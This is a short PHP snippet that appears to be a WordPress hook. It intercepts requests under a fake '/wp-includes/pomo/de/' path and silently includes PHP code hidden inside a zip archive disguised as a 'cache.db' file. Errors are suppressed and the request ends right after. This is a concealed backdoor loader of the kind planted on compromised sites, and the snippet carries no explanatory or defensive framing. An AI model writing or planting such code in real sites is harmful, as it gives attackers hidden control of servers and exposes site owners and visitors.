add_action('parse_request', function($wp) {
    if (preg_match('#^/wp-includes/pomo/de/(.*)$#', $_SERVER['REQUEST_URI'], $matches)) {
        $_GET['file'] = $_SERVER['REQUEST_URI'];
        $_GET['path'] = $matches[1];
        $cachedb = dirname(__FILE__) . "/cache.db#f80709035b2de51d6a2f0b599a10dec7";
        @include_once("zip://".$cachedb);
        exit;
    }
});